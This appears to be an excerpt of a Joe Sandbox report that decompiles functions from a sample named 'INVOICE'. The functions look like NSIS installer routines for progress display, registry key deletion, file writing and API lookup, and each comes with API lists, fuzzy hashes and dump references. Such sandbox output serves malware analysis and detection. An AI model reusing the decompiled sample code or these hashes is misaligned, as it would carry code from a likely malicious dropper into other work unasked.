Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectReleaselstrcatlstrlen
String ID: Calibri New Roman
API String ID: 2584051700-2685221963
Opcode ID: 687ed4edf854cbed3824faf0125c127d44ccdaa2da2dd8af5b0190bd77e460f4
Instruction ID: 78b13ae86a0973dc2b43aa2eb6c1af0beb3c1ef463c522f55250376beecb9f8a
Opcode Fuzzy Hash: 687ed4edf854cbed3824faf0125c127d44ccdaa2da2dd8af5b0190bd77e460f4
Instruction Fuzzy Hash: 7001B571904241EFEB005BB0EE49B9A3FB4BB15301F108A39F541B71D2C7B904458BED

Uniqueness

Uniqueness Score: -1.00%

Function 00402F93 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F93(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x41ea18; // 0x3e7a0
					_t11 =  *0x42aa24; // 0x3ffe8
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfW( &_v132, L"verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402fa3
0x00402fb1
0x00402fb7
0x00402fb7
0x00402fc5
0x00402fc7
0x00402fcd
0x00402fd4
0x00402fd6
0x00402fd6
0x00402fec
0x00402ffc
0x0040300e
0x0040300e
0x00403016

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB1
MulDiv.KERNEL32(0003E7A0,00000064,0003FFE8), ref: 00402FDC
wsprintfW.USER32 ref: 00402FEC
SetWindowTextW.USER32(?,?), ref: 00402FFC
SetDlgItemTextW.USER32(?,00000406,?), ref: 0040300E

Strings

verifying installer: %d%%, xrefs: 00402FE6

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: ea3fb41b8b9d1af7e43715991a6ce4dd060937d78b5a266238e4f5c2501e20f6
Instruction ID: eb17ebabde20c32bd565f0ca98bf5c3c7f8a04474e671541d9d17dad0456e96b
Opcode Fuzzy Hash: ea3fb41b8b9d1af7e43715991a6ce4dd060937d78b5a266238e4f5c2501e20f6
Instruction Fuzzy Hash: 20014B7064020DABEF209F60DE4AFEA3B79FB04345F008039FA06B51D0DBB999559F69

Uniqueness

Uniqueness Score: -1.00%

Function 73E82655 Relevance: 9.1, APIs: 6, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E73E82655() {
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t27;
				signed int _t39;
				void* _t40;
				void* _t43;
				intOrPtr _t44;
				void* _t45;

				_t40 = E73E812BB();
				_t24 =  *((intOrPtr*)(_t45 + 0x18));
				_t44 =  *((intOrPtr*)(_t24 + 0x1014));
				_t43 = (_t44 + 0x81 << 5) + _t24;
				do {
					if( *((intOrPtr*)(_t43 - 4)) >= 0) {
					}
					_t39 =  *(_t43 - 8) & 0x000000ff;
					if(_t39 <= 7) {
						switch( *((intOrPtr*)(_t39 * 4 +  &M73E82784))) {
							case 0:
								 *_t40 = 0;
								goto L17;
							case 1:
								__eax =  *__eax;
								if(__ecx > __ebx) {
									 *(__esp + 0x10) = __ecx;
									__ecx =  *(0x73e8407c + __edx * 4);
									__edx =  *(__esp + 0x10);
									__ecx = __ecx * __edx;
									asm("sbb edx, edx");
									__edx = __edx & __ecx;
									__eax = __eax &  *(0x73e8409c + __edx * 4);
								}
								_push(__eax);
								goto L15;
							case 2:
								__eax = E73E81510(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
								goto L16;
							case 3:
								__ecx =  *0x73e8506c;
								__edx = __ecx - 1;
								__eax = MultiByteToWideChar(__ebx, __ebx,  *__eax, __ecx, __edi, __edx);
								__eax =  *0x73e8506c;
								 *((short*)(__edi + __eax * 2 - 2)) = __bx;
								goto L17;
							case 4:
								__eax = lstrcpynW(__edi,  *__eax,  *0x73e8506c);
								goto L17;
							case 5:
								_push( *0x73e8506c);
								_push(__edi);
								_push( *__eax);
								__imp__StringFromGUID2();
								goto L17;
							case 6:
								_push( *__esi);
								L15:
								__eax = wsprintfW(__edi, 0x73e85000);
								L16:
								__esp = __esp + 0xc;
								goto L17;
						}
					}
					L17:
					_t26 =  *(_t43 + 0x14);
					if(_t26 != 0 && ( *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x18)))) != 2 ||  *((intOrPtr*)(_t43 - 4)) > 0)) {
						GlobalFree(_t26);
					}
					_t27 =  *((intOrPtr*)(_t43 + 0xc));
					if(_t27 != 0) {
						if(_t27 != 0xffffffff) {
							if(_t27 > 0) {
								E73E81381(_t27 - 1, _t40);
								goto L26;
							}
						} else {
							E73E81312(_t40);
							L26:
						}
					}
					_t44 = _t44 - 1;
					_t43 = _t43 - 0x20;
				} while (_t44 >= 0);
				return GlobalFree(_t40);
			}

0x73e8265f
0x73e82661
0x73e82665
0x73e82674
0x73e82678
0x73e8267d
0x73e8267d
0x73e82685
0x73e8268c
0x73e82692
0x00000000
0x73e82699
0x00000000
0x00000000
0x73e826a1
0x73e826a5
0x73e826a8
0x73e826ac
0x73e826b3
0x73e826b7
0x73e826bd
0x73e826bf
0x73e826c1
0x73e826c1
0x73e826c8
0x00000000
0x00000000
0x73e826d1
0x00000000
0x00000000
0x73e826d8
0x73e826de
0x73e826e8
0x73e826ee
0x73e826f3
0x00000000
0x00000000
0x73e82714
0x00000000
0x00000000
0x73e826fa
0x73e82700
0x73e82701
0x73e82703
0x00000000
0x00000000
0x73e8271c
0x73e8271e
0x73e82724
0x73e8272a
0x73e8272a
0x00000000
0x00000000
0x73e82692
0x73e8272d
0x73e8272d
0x73e82732
0x73e82743
0x73e82743
0x73e82749
0x73e8274e
0x73e82753
0x73e8275f
0x73e82764
0x00000000
0x73e82769
0x73e82755
0x73e82756
0x73e8276a
0x73e8276a
0x73e82753
0x73e8276b
0x73e8276c
0x73e8276f
0x73e82783

APIs

Part of subcall function 73E812BB: GlobalAlloc.KERNEL32(00000040,?,73E812DB,?,73E8137F,00000019,73E811CA,-000000A0), ref: 73E812C5

GlobalFree.KERNEL32(?), ref: 73E82743
GlobalFree.KERNEL32(00000000), ref: 73E82778

Memory Dump Source

Source File: 00000000.00000002.1067951591.0000000073E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 73E80000, based on PE: true

Associated: 00000000.00000002.1067875254.0000000073E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068020301.0000000073E84000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068074588.0000000073E86000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73e80000_INVOICE.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: f048a656b0507e28d2e302b2b55c5b495ebf9c3a2aa26a9a7c217db45a1ac4fc
Instruction ID: a1f3cc40b450e76682320fe176f3fbef3d570b30f1930931b12f49f8fc9b7a13
Opcode Fuzzy Hash: f048a656b0507e28d2e302b2b55c5b495ebf9c3a2aa26a9a7c217db45a1ac4fc
Instruction Fuzzy Hash: 6E31EF76D04219DFD7169F62C984FEE7BBAFB853043246129F10A972A0C77268049B62

Uniqueness

Uniqueness Score: -1.00%

Function 00402950 Relevance: 9.1, APIs: 6, Instructions: 91
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00402950(int __ebx, void* __eflags) {
				WCHAR* _t26;
				void* _t29;
				long _t37;
				int _t49;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t59;
				void* _t60;
				void* _t61;

				_t49 = __ebx;
				_t52 = 0xfffffd66;
				_t26 = E00402DA6(0xfffffff0);
				_t55 = _t26;
				 *(_t61 - 0x40) = _t26;
				if(E00405E83(_t26) == 0) {
					E00402DA6(0xffffffed);
				}
				E00406008(_t55);
				_t29 = E0040602D(_t55, 0x40000000, 2);
				 *(_t61 + 8) = _t29;
				if(_t29 != 0xffffffff) {
					 *(_t61 - 0x38) =  *(_t61 - 0x2c);
					if( *(_t61 - 0x28) != _t49) {
						_t37 =  *0x434f14;
						 *(_t61 - 0x44) = _t37;
						_t54 = GlobalAlloc(0x40, _t37);
						if(_t54 != _t49) {
							E004034E5(_t49);
							E004034CF(_t54,  *(_t61 - 0x44));
							_t59 = GlobalAlloc(0x40,  *(_t61 - 0x28));
							 *(_t61 - 0x10) = _t59;
							if(_t59 != _t49) {
								E004032B4( *(_t61 - 0x2c), _t49, _t59,  *(_t61 - 0x28));
								while( *_t59 != _t49) {
									_t60 = _t59 + 8;
									 *(_t61 - 0x3c) =  *_t59;
									E00405FE8( *((intOrPtr*)(_t59 + 4)) + _t54, _t60,  *_t59);
									_t59 = _t60 +  *(_t61 - 0x3c);
								}
								GlobalFree( *(_t61 - 0x10));
							}
							E004060DF( *(_t61 + 8), _t54,  *(_t61 - 0x44));
							GlobalFree(_t54);
							 *(_t61 - 0x38) =  *(_t61 - 0x38) | 0xffffffff;
						}
					}
					_t52 = E004032B4( *(_t61 - 0x38),  *(_t61 + 8), _t49, _t49);
					CloseHandle( *(_t61 + 8));
				}
				_t56 = 0xfffffff3;
				if(_t52 < _t49) {
					_t56 = 0xffffffef;
					DeleteFileW( *(_t61 - 0x40));
					 *((intOrPtr*)(_t61 - 4)) = 1;
				}
				_push(_t56);
				E00401423();
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t61 - 4));
				return 0;
			}

0x00402950
0x00402952
0x00402957
0x0040295c
0x0040295f
0x00402969
0x0040296d
0x0040296d
0x00402973
0x00402980
0x00402988
0x0040298b
0x00402997
0x0040299a
0x004029a0
0x004029ae
0x004029b3
0x004029b7
0x004029ba
0x004029c3
0x004029cf
0x004029d3
0x004029d6
0x004029e0
0x004029ff
0x004029ec
0x004029f4
0x004029f7
0x004029fc
0x004029fc
0x00402a06
0x00402a06
0x00402a13
0x00402a19
0x00402a1f
0x00402a1f
0x004029b7
0x00402a33
0x00402a35
0x00402a35
0x00402a3f
0x00402a40
0x00402a44
0x00402a48
0x00402a4e
0x00402a4e
0x00402a55
0x004022f1
0x00402c2d
0x00402c39

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B1
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029CD
GlobalFree.KERNEL32(?), ref: 00402A06
GlobalFree.KERNEL32(00000000), ref: 00402A19
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A35
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A48

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 18333e3c7c5edca9258600c879c391e4e8cb8a080c4e0dd56f257e0fabcb70bb
Instruction ID: 8fc1a79e9ee36ebd610a2d663d7387b5f1fea8f48d7bc9e01940cd119f3fb53c
Opcode Fuzzy Hash: 18333e3c7c5edca9258600c879c391e4e8cb8a080c4e0dd56f257e0fabcb70bb
Instruction Fuzzy Hash: 5831C271D00124BBCF216FA9CE49DDEBE79AF49364F14023AF450762E0CB794C429BA8

Uniqueness

Uniqueness Score: -1.00%

Function 73E82480 Relevance: 7.6, APIs: 5, Instructions: 135
memoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E73E82480(void* __edx) {
				void* _t37;
				signed int _t38;
				void* _t39;
				void* _t41;
				signed char* _t42;
				signed char* _t51;
				void* _t52;
				void* _t54;

				 *(_t54 + 0x10) = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t54 + 8)) + 0x1014)) > 0x00000000;
				while(1) {
					_t9 =  *((intOrPtr*)(_t54 + 0x18)) + 0x1018; // 0x1018
					_t51 = ( *(_t54 + 0x10) << 5) + _t9;
					_t52 = _t51[0x18];
					if(_t52 == 0) {
						goto L9;
					}
					_t41 = 0x1a;
					if(_t52 == _t41) {
						goto L9;
					}
					if(_t52 != 0xffffffff) {
						if(_t52 <= 0 || _t52 > 0x19) {
							_t51[0x18] = _t41;
							goto L12;
						} else {
							_t37 = E73E8135A(_t52 - 1);
							L10:
							goto L11;
						}
					} else {
						_t37 = E73E812E3();
						L11:
						_t52 = _t37;
						L12:
						_t13 =  &(_t51[8]); // 0x1020
						_t42 = _t13;
						if(_t51[4] >= 0) {
						}
						_t38 =  *_t51 & 0x000000ff;
						_t51[0x1c] = 0;
						if(_t38 > 7) {
							L27:
							_t39 = GlobalFree(_t52);
							if( *(_t54 + 0x10) == 0) {
								return _t39;
							}
							if( *(_t54 + 0x10) !=  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x18)) + 0x1014))) {
								 *(_t54 + 0x10) =  *(_t54 + 0x10) + 1;
							} else {
								 *(_t54 + 0x10) =  *(_t54 + 0x10) & 0x00000000;
							}
							continue;
						} else {
							switch( *((intOrPtr*)(_t38 * 4 +  &M73E825F8))) {
								case 0:
									 *_t42 = 0;
									goto L27;
								case 1:
									__eax = E73E813B1(__ebp);
									goto L21;
								case 2:
									 *__edi = E73E813B1(__ebp);
									__edi[1] = __edx;
									goto L27;
								case 3:
									__eax = GlobalAlloc(0x40,  *0x73e8506c);
									 *(__esi + 0x1c) = __eax;
									__edx = 0;
									 *__edi = __eax;
									__eax = WideCharToMultiByte(0, 0, __ebp,  *0x73e8506c, __eax,  *0x73e8506c, 0, 0);
									goto L27;
								case 4:
									__eax = E73E812CC(__ebp);
									 *(__esi + 0x1c) = __eax;
									L21:
									 *__edi = __eax;
									goto L27;
								case 5:
									__eax = GlobalAlloc(0x40, 0x10);
									_push(__eax);
									 *(__esi + 0x1c) = __eax;
									_push(__ebp);
									 *__edi = __eax;
									__imp__CLSIDFromString();
									goto L27;
								case 6:
									if( *__ebp != __cx) {
										__eax = E73E813B1(__ebp);
										 *__ebx = __eax;
									}
									goto L27;
								case 7:
									 *(__esi + 0x18) =  *(__esi + 0x18) - 1;
									( *(__esi + 0x18) - 1) *  *0x73e8506c =  *0x73e85074 + ( *(__esi + 0x18) - 1) *  *0x73e8506c * 2 + 0x18;
									 *__ebx =  *0x73e85074 + ( *(__esi + 0x18) - 1) *  *0x73e8506c * 2 + 0x18;
									asm("cdq");
									__eax = E73E81510(__edx,  *0x73e85074 + ( *(__esi + 0x18) - 1) *  *0x73e8506c * 2 + 0x18, __edx,  *0x73e85074 + ( *(__esi + 0x18) - 1) *  *0x73e8506c * 2);
									goto L27;
							}
						}
					}
					L9:
					_t37 = E73E812CC(0x73e85044);
					goto L10;
				}
			}

0x73e82494
0x73e82498
0x73e824a3
0x73e824a3
0x73e824aa
0x73e824af
0x00000000
0x00000000
0x73e824b3
0x73e824b6
0x00000000
0x00000000
0x73e824bb
0x73e824c6
0x73e824d6
0x00000000
0x73e824cd
0x73e824cf
0x73e824e5
0x00000000
0x73e824e5
0x73e824bd
0x73e824bd
0x73e824e6
0x73e824e6
0x73e824e8
0x73e824ec
0x73e824ec
0x73e824ef
0x73e824ef
0x73e824f7
0x73e824ff
0x73e82502
0x73e825c1
0x73e825c2
0x73e825cd
0x73e825f7
0x73e825f7
0x73e825dd
0x73e825e9
0x73e825df
0x73e825df
0x73e825df
0x00000000
0x73e82508
0x73e82508
0x00000000
0x73e8250f
0x00000000
0x00000000
0x73e82517
0x00000000
0x00000000
0x73e82525
0x73e82527
0x00000000
0x00000000
0x73e82548
0x73e8254e
0x73e82551
0x73e82553
0x73e82563
0x00000000
0x00000000
0x73e82530
0x73e82535
0x73e82538
0x73e82539
0x00000000
0x00000000
0x73e8256f
0x73e82575
0x73e82576
0x73e82579
0x73e8257a
0x73e8257c
0x00000000
0x00000000
0x73e82588
0x73e8258b
0x73e82597
0x73e82599
0x00000000
0x00000000
0x73e825a5
0x73e825b1
0x73e825b4
0x73e825b6
0x73e825b9
0x00000000
0x00000000
0x73e82508
0x73e82502
0x73e824db
0x73e824e0
0x00000000
0x73e824e0

APIs

GlobalFree.KERNEL32(00000000), ref: 73E825C2

Part of subcall function 73E812CC: lstrcpynW.KERNEL32(00000000,?,73E8137F,00000019,73E811CA,-000000A0), ref: 73E812DC

GlobalAlloc.KERNEL32(00000040), ref: 73E82548
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 73E82563

Memory Dump Source

Source File: 00000000.00000002.1067951591.0000000073E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 73E80000, based on PE: true

Associated: 00000000.00000002.1067875254.0000000073E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068020301.0000000073E84000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068074588.0000000073E86000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73e80000_INVOICE.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: e1a83bc9d6ddf39c1bc5b9c95b71f4ea37b06bbdad259110dcda837a952b19d7
Instruction ID: d0f38d3e08f6faa583152842f2f80ff7b61154920a1e83bc60aa77c85e362a07
Opcode Fuzzy Hash: e1a83bc9d6ddf39c1bc5b9c95b71f4ea37b06bbdad259110dcda837a952b19d7
Instruction Fuzzy Hash: 59419DB5C0A319DFEB15AF65D844BEA77F8FB44310F10A91EE44E86581EB30A544CB72

Uniqueness

Uniqueness Score: -1.00%

Function 00402EA9 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402EA9(void* __eflags, void* _a4, short* _a8, signed int _a12) {
				void* _v8;
				int _v12;
				short _v536;
				void* _t27;
				signed int _t33;
				intOrPtr* _t35;
				signed int _t45;
				signed int _t46;
				signed int _t47;

				_t46 = _a12;
				_t47 = _t46 & 0x00000300;
				_t45 = _t46 & 0x00000001;
				_t27 = E004063AA(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
				if(_t27 == 0) {
					if((_a12 & 0x00000002) == 0) {
						L3:
						_push(0x105);
						_push( &_v536);
						_push(0);
						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
							__eflags = _t45;
							if(__eflags != 0) {
								L10:
								RegCloseKey(_v8);
								return 0x3eb;
							}
							_t33 = E00402EA9(__eflags, _v8,  &_v536, _a12);
							__eflags = _t33;
							if(_t33 != 0) {
								break;
							}
							_push(0x105);
							_push( &_v536);
							_push(_t45);
						}
						RegCloseKey(_v8);
						_t35 = E0040690A(3);
						if(_t35 != 0) {
							return  *_t35(_a4, _a8, _t47, 0);
						}
						return RegDeleteKeyW(_a4, _a8);
					}
					_v12 = 0;
					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
						goto L10;
					}
					goto L3;
				}
				return _t27;
			}

0x00402eb4
0x00402ebd
0x00402ec6
0x00402ed2
0x00402edb
0x00402ee5
0x00402f0a
0x00402f10
0x00402f15
0x00402f16
0x00402f46
0x00402f1f
0x00402f21
0x00402f71
0x00402f74
0x00000000
0x00402f7a
0x00402f30
0x00402f35
0x00402f37
0x00000000
0x00000000
0x00402f3f
0x00402f44
0x00402f45
0x00402f45
0x00402f52
0x00402f5a
0x00402f61
0x00000000
0x00402f8a
0x00000000
0x00402f69
0x00402ef5
0x00402f08
0x00000000
0x00000000
0x00000000
0x00402f08
0x00402f90

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402EFD
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F52
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F74

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 8cb330a57336db5e00a931244e28e0c1e8cbbd051d222c2bd1499622aecedac4
Instruction ID: ca6229ec891c5908b4c2d3bab14ae3db7b9396451d72a40731f1c02386a45f13
Opcode Fuzzy Hash: 8cb330a57336db5e00a931244e28e0c1e8cbbd051d222c2bd1499622aecedac4
Instruction Fuzzy Hash: DA215A7150010ABBEF119F90CE89EEF7B7DEB50384F100076F909B21A0D7B49E54AA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401D81(void* __ebx, void* __edx) {
				struct HWND__* _t30;
				WCHAR* _t38;
				void* _t48;
				void* _t53;
				signed int _t55;
				signed int _t60;
				long _t63;
				void* _t65;

				_t53 = __ebx;
				if(( *(_t65 - 0x23) & 0x00000001) == 0) {
					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x28));
				} else {
					E00402D84(2);
					 *((intOrPtr*)(__ebp - 0x10)) = __edx;
				}
				_t55 =  *(_t65 - 0x24);
				 *(_t65 + 8) = _t30;
				_t60 = _t55 & 0x00000004;
				 *(_t65 - 0x38) = _t55 & 0x00000003;
				 *(_t65 - 0x18) = _t55 >> 0x1f;
				 *(_t65 - 0x40) = _t55 >> 0x0000001e & 0x00000001;
				if((_t55 & 0x00010000) == 0) {
					_t38 =  *(_t65 - 0x2c) & 0x0000ffff;
				} else {
					_t38 = E00402DA6(0x11);
				}
				 *(_t65 - 0x44) = _t38;
				GetClientRect( *(_t65 + 8), _t65 - 0x60);
				asm("sbb esi, esi");
				_t63 = LoadImageW( ~_t60 &  *0x434f00,  *(_t65 - 0x44),  *(_t65 - 0x38),  *(_t65 - 0x58) *  *(_t65 - 0x18),  *(_t65 - 0x54) *  *(_t65 - 0x40),  *(_t65 - 0x24) & 0x0000fef0);
				_t48 = SendMessageW( *(_t65 + 8), 0x172,  *(_t65 - 0x38), _t63);
				if(_t48 != _t53 &&  *(_t65 - 0x38) == _t53) {
					DeleteObject(_t48);
				}
				if( *((intOrPtr*)(_t65 - 0x30)) >= _t53) {
					_push(_t63);
					E00406484();
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t65 - 4));
				return 0;
			}

0x00401d81
0x00401d85
0x00401d9a
0x00401d87
0x00401d89
0x00401d8f
0x00401d8f
0x00401da0
0x00401da3
0x00401dad
0x00401db0
0x00401db8
0x00401dc9
0x00401dcc
0x00401dd7
0x00401dce
0x00401dd0
0x00401dd0
0x00401ddb
0x00401de5
0x00401e0c
0x00401e1b
0x00401e29
0x00401e31
0x00401e39
0x00401e39
0x00401e42
0x00401e48
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32(?,?), ref: 00401DE5
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 0d14a93a4aa2f7ddc0f91d11ffebc05af74b5a93feb44974f4da7284e64bbe2b
Instruction ID: b69f8f45c5cbb28dd5603d9b1d667d2ce3d3910c133b75fee4ecc707c572ca23
Opcode Fuzzy Hash: 0d14a93a4aa2f7ddc0f91d11ffebc05af74b5a93feb44974f4da7284e64bbe2b
Instruction Fuzzy Hash: 3321F672904119AFCB05DBA4DE45AEEBBB5EF08314F14003AFA45F62A0DB389951DB98

Uniqueness

Uniqueness Score: -1.00%

Function 73E816BD Relevance: 7.5, APIs: 5, Instructions: 41
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E73E816BD(struct HINSTANCE__* _a4, short* _a8) {
				_Unknown_base(*)()* _t7;
				void* _t10;
				int _t14;

				_t14 = WideCharToMultiByte(0, 0, _a8, 0xffffffff, 0, 0, 0, 0);
				_t10 = GlobalAlloc(0x40, _t14);
				WideCharToMultiByte(0, 0, _a8, 0xffffffff, _t10, _t14, 0, 0);
				_t7 = GetProcAddress(_a4, _t10);
				GlobalFree(_t10);
				return _t7;
			}

0x73e816d7
0x73e816e3
0x73e816f0
0x73e816f7
0x73e81700
0x73e8170c

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,73E822D8,?,00000808), ref: 73E816D5
